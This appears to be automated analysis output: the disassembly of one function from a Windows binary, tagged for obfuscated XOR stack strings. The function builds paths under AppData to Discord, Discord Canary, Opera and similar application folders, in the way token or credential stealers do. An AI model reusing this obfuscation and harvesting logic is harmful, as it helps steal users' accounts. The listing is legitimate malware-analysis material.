Function at 0x140025f3c
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xdf8]
sub rsp, 0xed0
mov rax, qword [0x1400a0280]
xor rax, rsp
mov qword [rbp + 0xdc0], rax
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xor ebx, ebx
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1e8]
mov qword [rsp + 0x78], rax
mov r8b, bl
call fcn.140003550
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8b, bl
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x208]
mov qword [rsp + 0x78], rax
call fcn.140003550
xor eax, eax
mov dword [rsp + 0x68], 0x7b614c08
mov byte [rsp + 0x70], al
lea r12d, [rbx + 7]
mov cl, 8
mov dword [rsp + 0x6c], 0x6c7a676b
mov r15b, 0x67
xor byte [rsp + rax + 0x69], cl
inc rax
cmp rax, r12
jae 0x140025ff2
mov cl, byte [rsp + 0x68]
jmp 0x140025fe0
lea rax, [rsp + 0x69]
mov byte [rsp + 0x70], bl
mov r8b, bl
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x238]
call fcn.140003550
lea r8, [rbp + 0x238]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd40]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x60], 0x110b0662
mov byte [rbp - 0x52], al
mov cl, 0x62
mov dword [rbp - 0x5c], 0x6100d01
mov dword [rbp - 0x58], 0x30c0301
mov word [rbp - 0x54], 0x1b10
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xd
jae 0x140026062
mov cl, byte [rbp - 0x60]
jmp 0x140026050
lea rax, [rbp - 0x5f]
mov byte [rbp - 0x52], bl
mov r8b, bl
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x258]
call fcn.140003550
lea r8, [rbp + 0x258]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd60]
call fcn.140012848
mov cl, 0x42
mov dword [rbp - 0x80], 0x312b2642
mov rax, rbx
mov dword [rbp - 0x7c], 0x26302d21
mov edx, 0xa
mov dword [rbp - 0x78], 0x203632
xor byte [rbp + rax - 0x7f], cl
inc rax
cmp rax, rdx
jae 0x1400260cc
mov cl, byte [rbp - 0x80]
jmp 0x1400260bb
lea rax, [rbp - 0x7f]
mov byte [rbp - 0x75], bl
mov r8b, bl
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x278]
call fcn.140003550
lea r8, [rbp + 0x278]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd80]
call fcn.140012848
mov r13b, 0x5f
mov dword [rbp - 0x6f], 0x37383613
mov cl, r13b
mov dword [rbp - 0x6b], 0x2d303c2b
mov byte [rbp - 0x70], cl
mov rax, rbx
mov word [rbp - 0x67], 0x3b
xor byte [rbp + rax - 0x6f], cl
inc rax
cmp rax, 9
jae 0x140026138
mov cl, byte [rbp - 0x70]
jmp 0x140026126
lea rax, [rbp - 0x6f]
mov byte [rbp - 0x66], bl
mov r8b, bl
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x298]
call fcn.140003550
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xda0]
call fcn.140012848
lea rcx, [rbp + 0x298]
call fcn.14001d63c
lea rcx, [rbp + 0x278]
call fcn.14001d63c
lea rcx, [rbp + 0x258]
call fcn.14001d63c
lea rcx, [rbp + 0x238]
call fcn.14001d63c
mov cl, 0x4d
mov dword [rbp - 0x60], 0x283d024d
mov rax, rbx
mov dword [rbp - 0x5c], 0x1e6d2c3f
mov dword [rbp - 0x58], 0x212f2c39
mov word [rbp - 0x54], 0x28
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xc
jae 0x1400261d4
mov cl, byte [rbp - 0x60]
jmp 0x1400261c2
lea rax, [rbp - 0x5f]
mov byte [rbp - 0x53], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x818]
call fcn.140003550
movdqa xmm0, xmmword [str._rBh]
mov rcx, rbx
movdqu xmmword [rbp + 0x228], xmm0
mov al, byte [rbp + 0x228]
xor byte [rbp + rcx + 0x229], al
inc rcx
cmp rcx, 0xe
jb 0x140026207
lea rax, [rbp + 0x229]
mov byte [rbp + 0x237], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7f8]
call fcn.140003550
cmp qword [rbp + 0x220], r12
lea rdx, [rbp + 0x208]
mov r8, qword [rbp + 0x218]
lea rcx, [rbp + 0x298]
cmova rdx, qword [rbp + 0x208]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x298], xmm0
movdqu xmmword [rbp + 0x2a8], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x7f8]
lea rcx, [rbp + 0x298]
call fcn.1400145cc
cmp qword [rbp + 0x2b0], r12
lea r14, [rbp + 0x298]
mov rdi, qword [rbp + 0x2a8]
movabs rsi, 0x7ffffffffffffffe
cmova r14, qword [rbp + 0x298]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb40], xmm0
cmp rdi, rsi
ja 0x140028100
movabs rax, 0x7fffffffffffffff
cmp rdi, r12
ja 0x1400262f3
mov qword [rbp + 0xb58], r12
lea rax, [rbp + 0xb40]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x140026359
mov rbx, rdi
or rbx, r12
cmp rbx, rsi
jbe 0x140026307
mov rbx, rsi
lea rcx, [rax + rax]
jmp 0x14002632c
mov ecx, 0xa
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400280fa
add rcx, rcx
cmp rcx, 0x1000
jb 0x140026333
call fcn.140002644
jmp 0x140026341
test rcx, rcx
je 0x14002633f
call fcn.14007a988
jmp 0x140026341
xor eax, eax
mov qword [rbp + 0xb58], rbx
lea r8, [rdi*2 + 2]
xor ebx, ebx
mov qword [rbp + 0xb40], rax
mov rdx, r14
mov qword [rbp + 0xb50], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x818]
lea rcx, [rbp + 0xb40]
call fcn.1400145cc
movdqa xmm0, xmmword [0x140082580]
xor eax, eax
movdqu xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1e0], al
mov rcx, rbx
mov al, byte [rbp + 0x1d0]
xor byte [rbp + rcx + 0x1d1], al
inc rcx
cmp rcx, 0xf
jb 0x140026399
lea rax, [rbp + 0x1d1]
mov byte [rbp + 0x1e0], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7d8]
call fcn.140003550
movdqa xmm0, xmmword [0x1400824c0]
mov rcx, rbx
movdqu xmmword [rbp + 0x1c0], xmm0
mov al, byte [rbp + 0x1c0]
xor byte [rbp + rcx + 0x1c1], al
inc rcx
cmp rcx, 0xe
jb 0x1400263e8
lea rax, [rbp + 0x1c1]
mov byte [rbp + 0x1cf], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7b8]
call fcn.140003550
cmp qword [rbp + 0x220], r12
lea rdx, [rbp + 0x208]
mov r8, qword [rbp + 0x218]
lea rcx, [rbp + 0x278]
cmova rdx, qword [rbp + 0x208]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x278], xmm0
movdqu xmmword [rbp + 0x288], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0x278]
call fcn.1400145cc
cmp qword [rbp + 0x290], r12
lea r14, [rbp + 0x278]
mov rdi, qword [rbp + 0x288]
xorps xmm0, xmm0
cmova r14, qword [rbp + 0x278]
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb70], xmm1
movups xmmword [rbp + 0xb60], xmm0
cmp rdi, rsi
ja 0x140028100
cmp rdi, r12
ja 0x1400264cb
mov qword [rbp + 0xb78], r12
lea rax, [rbp + 0xb60]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x140026545
mov rbx, rdi
or rbx, r12
cmp rbx, rsi
jbe 0x1400264e9
movabs rax, 0x7fffffffffffffff
mov rbx, rsi
lea rcx, [rax + rax]
jmp 0x140026518
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400280fa
add rcx, rcx
cmp rcx, 0x1000
jb 0x14002651f
call fcn.140002644
jmp 0x14002652d
test rcx, rcx
je 0x14002652b
call fcn.14007a988
jmp 0x14002652d
xor eax, eax
mov qword [rbp + 0xb78], rbx
lea r8, [rdi*2 + 2]
xor ebx, ebx
mov qword [rbp + 0xb60], rax
mov rdx, r14
mov qword [rbp + 0xb70], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x7d8]
lea rcx, [rbp + 0xb60]
call fcn.1400145cc
xor eax, eax
mov dword [rbp + 0x88], 0x796f491c
mov byte [rbp + 0x92], al
mov cl, 0x1c
mov rax, rbx
mov dword [rbp + 0x8c], 0x7d583c6e
mov r12b, 0x79
mov word [rbp + 0x90], 0x7d68
xor byte [rbp + rax + 0x89], cl
inc rax
cmp rax, 9
jae 0x1400265af
mov cl, byte [rbp + 0x88]
jmp 0x140026597
lea rax, [rbp + 0x89]
mov byte [rbp + 0x92], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x798]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x80], 0x3a3e1253
mov byte [rbp + 0x86], al
mov cl, 0x53
mov rax, rbx
mov word [rbp + 0x84], 0x3c34
xor byte [rbp + rax + 0x81], cl
inc rax
cmp rax, 5
jae 0x14002660d
mov cl, byte [rbp + 0x80]
jmp 0x1400265f5
lea rax, [rbp + 0x81]
mov byte [rbp + 0x86], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x778]
call fcn.140003550
cmp qword [rbp + 0x200], 7
lea rdx, [rbp + 0x1e8]
mov r8, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x258]
cmova rdx, qword [rbp + 0x1e8]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x258], xmm0
movdqu xmmword [rbp + 0x268], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x778]
lea rcx, [rbp + 0x258]
call fcn.1400145cc
cmp qword [rbp + 0x270], 7
lea r14, [rbp + 0x258]
mov rdi, qword [rbp + 0x268]
xorps xmm0, xmm0
cmova r14, qword [rbp + 0x258]
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb90], xmm1
movups xmmword [rbp + 0xb80], xmm0
cmp rdi, rsi
ja 0x140028100
cmp rdi, 7
ja 0x1400266e1
mov qword [rbp + 0xb98], 7
lea rax, [rbp + 0xb80]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x14002675a
mov rbx, rdi
or rbx, 7
cmp rbx, rsi
jbe 0x140026700
movabs rax, 0x7fffffffffffffff
mov rbx, rsi
lea rcx, [rax + rax]
jmp 0x14002672f
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400280fa
add rcx, rcx
cmp rcx, 0x1000
jb 0x140026736
call fcn.140002644
jmp 0x140026744
test rcx, rcx
je 0x140026742
call fcn.14007a988
jmp 0x140026744
xor eax, eax
mov qword [rbp + 0xb80], rax
lea r8, [rdi*2 + 2]
mov qword [rbp + 0xb98], rbx
mov rdx, r14
mov qword [rbp + 0xb90], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x798]
lea rcx, [rbp + 0xb80]
call fcn.1400145cc
xor eax, eax
mov dword [rbp + 0x98], 0x3b2d0b5e
mov byte [rbp + 0xa2], al
xor r14d, r14d
mov cl, 0x5e
mov dword [rbp + 0x9c], 0x3f1a7e2c
mov word [rbp + 0xa0], 0x3f2a
xor byte [rbp + rax + 0x99], cl
inc rax
cmp rax, 9
jae 0x1400267c1
mov cl, byte [rbp + 0x98]
jmp 0x1400267a9
lea rax, [rbp + 0x99]
mov byte [rbp + 0xa2], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x758]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x68], 0x6a774c18
mov byte [rbp + 0x6e], al
mov cl, 0x18
mov word [rbp + 0x6c], 0x707b
xor byte [rbp + rax + 0x69], cl
inc rax
cmp rax, 5
jae 0x14002680e
mov cl, byte [rbp + 0x68]
jmp 0x1400267fc
lea rax, [rbp + 0x69]
mov byte [rbp + 0x6e], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x738]
call fcn.140003550
cmp qword [rbp + 0x200], 7
lea rdx, [rbp + 0x1e8]
mov r8, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x238]
cmova rdx, qword [rbp + 0x1e8]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x238], xmm0
movdqu xmmword [rbp + 0x248], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x738]
lea rcx, [rbp + 0x238]
call fcn.1400145cc
cmp qword [rbp + 0x250], 7
lea rdi, [rbp + 0x238]
mov rbx, qword [rbp + 0x248]
xorps xmm0, xmm0
cmova rdi, qword [rbp + 0x238]
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xbb0], xmm1
movups xmmword [rbp + 0xba0], xmm0
cmp rbx, rsi
ja 0x140028100
cmp rbx, 7
ja 0x1400268dd
mov qword [rbp + 0xbb8], 7
lea rax, [rbp + 0xba0]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x140026957
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x1400268f9
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14002692b
mov ecx, 0xa
mov rsi, rax
cmp rax, rcx
movabs rax, 0x7fffffffffffffff
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, rax
ja 0x1400280fa
add rcx, rcx
cmp rcx, 0x1000
jb 0x140026932
call fcn.140002644
jmp 0x140026941
test rcx, rcx
je 0x14002693e
call fcn.14007a988
jmp 0x140026941
mov rax, r14
mov qword [rbp + 0xba0], rax
lea r8, [rbx*2 + 2]
mov qword [rbp + 0xbb8], rsi
mov rdx, rdi
mov qword [rbp + 0xbb0], rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x758]
lea rcx, [rbp + 0xba0]
call fcn.1400145cc
xor eax, eax
mov dword [rbp + 0x148], 0x190f297c
mov cl, 0x7c
mov dword [rbp + 0x14c], 0x1d385c0e
mov word [rbp + 0x150], 0x1d08
mov byte [rbp + 0x152], al
lea edi, [rax + 1]
xor byte [rbp + rax + 0x149], cl
add rax, rdi
cmp rax, 9
jae 0x1400269be
mov cl, byte [rbp + 0x148]
jmp 0x1400269a6
lea rax, [rbp + 0x149]
mov byte [rbp + 0x152], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x718]
call fcn.140003550
mov cl, 0x1f
mov dword [rbp - 0x40], 0x7270541f
mov rax, r14
mov dword [rbp - 0x3c], 0x7e6b7a
xor byte [rbp + rax - 0x3f], cl
add rax, rdi
cmp rax, 6
jae 0x140026a0a
mov cl, byte [rbp - 0x40]
jmp 0x1400269f8
lea rax, [rbp - 0x3f]
mov byte [rbp - 0x39], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6f8]
call fcn.140003550
lea r8, [rbp + 0x6f8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xb18]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x718]
lea rcx, [rbp + 0xbc0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x138], 0x4a5c7a2f
mov byte [rbp + 0x142], al
mov cl, 0x2f
mov dword [rbp + 0x13c], 0x4e6b0f5d
mov word [rbp + 0x140], 0x4e5b
xor byte [rbp + rax + 0x139], cl
add rax, rdi
cmp rax, 9
jae 0x140026a9a
mov cl, byte [rbp + 0x138]
jmp 0x140026a82
lea rax, [rbp + 0x139]
mov byte [rbp + 0x142], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x18], 0x7172a65
mov byte [rbp + 0x20], al
mov cl, 0x65
mov dword [rbp + 0x1c], 0x810110c
xor byte [rbp + rax + 0x19], cl
add rax, rdi
cmp rax, 7
jae 0x140026ae8
mov cl, byte [rbp + 0x18]
jmp 0x140026ad6
lea rax, [rbp + 0x19]
mov byte [rbp + 0x20], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6b8]
call fcn.140003550
lea r8, [rbp + 0x6b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xaf8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x6d8]
lea rcx, [rbp + 0xbe0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x128], 0x5c4a6c39
mov byte [rbp + 0x132], al
mov cl, 0x39
mov dword [rbp + 0x12c], 0x587d194b
mov word [rbp + 0x130], 0x584d
xor byte [rbp + rax + 0x129], cl
add rax, rdi
cmp rax, 9
jae 0x140026b78
mov cl, byte [rbp + 0x128]
jmp 0x140026b60
lea rax, [rbp + 0x129]
mov byte [rbp + 0x132], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x698]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x178], 0x2092f6c
mov byte [rbp + 0x184], al
mov cl, 0x6c
mov dword [rbp + 0x17c], 0x31e2e18
mov dword [rbp + 0x180], 0x1e091f1b
xor byte [rbp + rax + 0x179], cl
add rax, rdi
cmp rax, 0xb
jae 0x140026bdf
mov cl, byte [rbp + 0x178]
jmp 0x140026bc7
lea rax, [rbp + 0x179]
mov byte [rbp + 0x184], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x678]
call fcn.140003550
lea r8, [rbp + 0x678]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xad8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x698]
lea rcx, [rbp + 0xc00]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x118], 0x1e082e7b
mov byte [rbp + 0x122], al
mov cl, 0x7b
mov dword [rbp + 0x11c], 0x1a3f5b09
mov word [rbp + 0x120], 0x1a0f
xor byte [rbp + rax + 0x119], cl
add rax, rdi
cmp rax, 9
jae 0x140026c75
mov cl, byte [rbp + 0x118]
jmp 0x140026c5d
lea rax, [rbp + 0x119]
mov byte [rbp + 0x122], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x658]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x70], 0xa2d497e
mov byte [rbp + 0x76], al
mov cl, 0x7e
mov word [rbp + 0x74], 0xc1f
xor byte [rbp + rax + 0x71], cl
add rax, rdi
cmp rax, 5
jae 0x140026cc2
mov cl, byte [rbp + 0x70]
jmp 0x140026cb0
lea rax, [rbp + 0x71]
mov byte [rbp + 0x76], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x638]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x78], 0x53741027
mov byte [rbp + 0x7e], al
mov cl, 0x27
mov word [rbp + 0x7c], 0x5546
mov bl, 0x55
xor byte [rbp + rax + 0x79], cl
add rax, rdi
cmp rax, 5
jae 0x140026d0b
mov cl, byte [rbp + 0x78]
jmp 0x140026cf9
lea rax, [rbp + 0x79]
mov byte [rbp + 0x7e], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x618]
call fcn.140003550
lea r8, [rbp + 0x618]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xab8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x638]
lea rcx, [rbp + 0xa98]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x658]
lea rcx, [rbp + 0xc20]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x158], 0x392f095c
mov byte [rbp + 0x162], al
mov cl, 0x5c
mov dword [rbp + 0x15c], 0x3d187c2e
mov word [rbp + 0x160], 0x3d28
xor byte [rbp + rax + 0x159], cl
add rax, rdi
cmp rax, 9
jae 0x140026db1
mov cl, byte [rbp + 0x158]
jmp 0x140026d99
lea rax, [rbp + 0x159]
mov byte [rbp + 0x162], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5f8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x28], 0x54517221
mov byte [rbp + 0x30], al
mov cl, 0x21
mov dword [rbp + 0x2c], 0x4a484f55
xor byte [rbp + rax + 0x29], cl
add rax, rdi
cmp rax, 7
jae 0x140026dff
mov cl, byte [rbp + 0x28]
jmp 0x140026ded
lea rax, [rbp + 0x29]
mov byte [rbp + 0x30], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x38], 0x33361546
mov byte [rbp + 0x40], al
mov cl, 0x46
mov dword [rbp + 0x3c], 0x2d2f2832
xor byte [rbp + rax + 0x39], cl
add rax, rdi
cmp rax, 7
jae 0x140026e47
mov cl, byte [rbp + 0x38]
jmp 0x140026e35
lea rax, [rbp + 0x39]
mov byte [rbp + 0x40], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5b8]
call fcn.140003550
lea r8, [rbp + 0x5b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xa78]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x5d8]
lea rcx, [rbp + 0xa58]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x5f8]
lea rcx, [rbp + 0xc40]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x48], 0x33301155
mov byte [rbp + 0x50], al
mov dword [rbp + 0x4c], 0x21392034
xor byte [rbp + rax + 0x49], bl
add rax, rdi
cmp rax, 7
jae 0x140026ed3
mov bl, byte [rbp + 0x48]
jmp 0x140026ec1
lea rax, [rbp + 0x49]
mov byte [rbp + 0x50], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x598]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xa8], 0x6c7a5c09
mov byte [rbp + 0xb2], al
mov cl, 9
mov dword [rbp + 0xac], 0x684d297b
mov word [rbp + 0xb0], 0x687d
xor byte [rbp + rax + 0xa9], cl
add rax, rdi
cmp rax, 9
jae 0x140026f33
mov cl, byte [rbp + 0xa8]
jmp 0x140026f1b
lea rax, [rbp + 0xa9]
mov byte [rbp + 0xb2], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x578]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x58], 0x3e211e48
mov byte [rbp + 0x60], al
mov cl, 0x48
mov dword [rbp + 0x5c], 0x212c2429
xor byte [rbp + rax + 0x59], cl
add rax, rdi
cmp rax, 7
jae 0x140026f81
mov cl, byte [rbp + 0x58]
jmp 0x140026f6f
lea rax, [rbp + 0x59]
mov byte [rbp + 0x60], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x558]
call fcn.140003550
lea r8, [rbp + 0x558]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xa38]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x578]
lea rcx, [rbp + 0xa18]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x598]
lea rcx, [rbp + 0xc60]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0xb8], 0x2143267
mov byte [rbp + 0xc2], al
mov dword [rbp + 0xbc], 0x6234715
mov word [rbp + 0xc0], 0x613
xor byte [rbp + rax + 0xb9], r15b
add rax, rdi
cmp rax, 9
jae 0x140027027
mov r15b, byte [rbp + 0xb8]
jmp 0x14002700d
lea rax, [rbp + 0xb9]
mov byte [rbp + 0xc2], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x538]
call fcn.140003550
mov cl, 0x7d
mov dword [rbp + 0x168], 0xf153e7d
mov rax, r14
mov dword [rbp + 0x16c], 0x5d181012
mov dword [rbp + 0x170], 0x2e052e
xor byte [rbp + rax + 0x169], cl
add rax, rdi
cmp rax, 0xa
jae 0x140027089
mov cl, byte [rbp + 0x168]
jmp 0x140027071
lea rax, [rbp + 0x169]
mov byte [rbp + 0x173], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x518]
call fcn.140003550
mov cl, dil
mov dword [rbp - 0x37], 0x666e6e46
xor eax, eax
mov byte [rbp - 0x38], cl
mov byte [rbp - 0x31], al
mov word [rbp - 0x33], 0x646d
xor byte [rbp + rax - 0x37], cl
add rax, rdi
cmp rax, 6
jae 0x1400270da
mov cl, byte [rbp - 0x38]
jmp 0x1400270c8
lea rax, [rbp - 0x37]
mov byte [rbp - 0x31], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4f8]
call fcn.140003550
lea r8, [rbp + 0x4f8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x9f8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x518]
lea rcx, [rbp + 0x9d8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x538]
lea rcx, [rbp + 0xc80]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x18], 0x6f6c4d09
mov byte [rbp - 0x10], al
mov cl, 9
mov dword [rbp - 0x14], 0x7d657c68
xor byte [rbp + rax - 0x17], cl
add rax, rdi
cmp rax, 7
jae 0x140027168
mov cl, byte [rbp - 0x18]
jmp 0x140027156
lea rax, [rbp - 0x17]
mov byte [rbp - 0x10], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xc8], 0x5f496f3a
mov byte [rbp + 0xd2], al
mov cl, 0x3a
mov dword [rbp + 0xcc], 0x5b7e1a48
mov word [rbp + 0xd0], 0x5b4e
xor byte [rbp + rax + 0xc9], cl
add rax, rdi
cmp rax, 9
jae 0x1400271c8
mov cl, byte [rbp + 0xc8]
jmp 0x1400271b0
lea rax, [rbp + 0xc9]
mov byte [rbp + 0xd2], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4b8]
call fcn.140003550
mov cl, 0x77
mov dword [rbp - 0x30], 0x51f3477
mov rax, r14
mov dword [rbp - 0x2c], 0x121a18
xor byte [rbp + rax - 0x2f], cl
add rax, rdi
cmp rax, 6
jae 0x140027214
mov cl, byte [rbp - 0x30]
jmp 0x140027202
lea rax, [rbp - 0x2f]
mov byte [rbp - 0x29], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x498]
call fcn.140003550
mov bl, 0x60
mov dword [rbp - 0x28], 0xf0f2760
mov cl, bl
mov dword [rbp - 0x24], 0x50c07
mov rax, r14
xor byte [rbp + rax - 0x27], cl
add rax, rdi
cmp rax, 6
jae 0x14002725c
mov cl, byte [rbp - 0x28]
jmp 0x14002724a
lea rax, [rbp - 0x27]
mov byte [rbp - 0x21], r14b
mov r8b, r14b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x478]
call fcn.140003550
lea r8, [rbp + 0x478]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x9b8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x498]
lea rcx, [rbp + 0x998]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x4b8]
lea rcx, [rbp + 0x978]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x4d8]
lea rcx, [rbp + 0xca0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0xd8], 0x4d5b7d28
mov byte [rbp + 0xe2], al
mov cl, 0x28
mov sil, 0x5a
